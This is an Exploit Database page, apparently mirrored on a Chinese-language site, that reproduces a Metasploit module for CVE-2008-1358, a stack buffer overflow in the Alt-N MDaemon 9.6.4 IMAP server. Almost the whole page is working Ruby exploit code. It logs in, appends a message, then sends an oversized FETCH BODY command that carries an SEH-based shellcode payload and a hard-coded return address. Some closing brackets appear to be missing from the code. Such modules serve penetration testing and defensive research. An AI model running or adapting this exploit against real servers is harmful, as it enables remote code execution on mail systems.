Alt-N MDaemon 9.6.4 – IMAPD FETCH Buffer Overflow (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2010-06-15
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16482/

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# $Id: mdaemon_fetch.rb 9525 2010-06-15 07:18:08Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Imap

include Msf::Exploit::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server

version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP

account credentials are required. Credit to Matteo Memelli

'Author' => [ 'Jacopo Cervini', 'patrick' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9525 $',

'References' =>

[

[ 'CVE', '2008-1358' ],

[ 'OSVDB', '43111' ],

[ 'BID', '28245' ],

[ 'URL', 'http://www.milw0rm.com/exploits/5248' ],

'Privileged' => false,

'DefaultOptions' =>

{

'EXITFUNC' => 'seh',

'Payload'=>

{

'Space'=> 400,

'BadChars' => "\x00\x0a])",

'Platform' => 'win',

'Targets'=>

[

[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll

'DisclosureDate' => 'Mar 13 2008',

'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner and banner =~ /IMAP4rev1 MDaemon 9.6.4 ready/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

connect_login

req0="0002 SELECT Inbox\r\n"

res = raw_send_recv(req0)

if (res and res =~ /0002 OK/)

print_status("SELECT command OK")

end

req1="0003 APPEND Inbox {1}\r\n"

res = raw_send_recv(req1)

if (res and res =~ /Ready for append literal/)

print_status("APPEND command OK")

end

res = raw_send_recv(rand_text_alpha(20) + "\r\n")

if (res and res =~ /APPEND completed/)

print_status("APPEND command finished")

end

buf = rand_text_alpha_upper(528, payload_badchars)

buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)

sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"

print_status("Sending payload")

sock.put(sploit)

handler

disconnect

end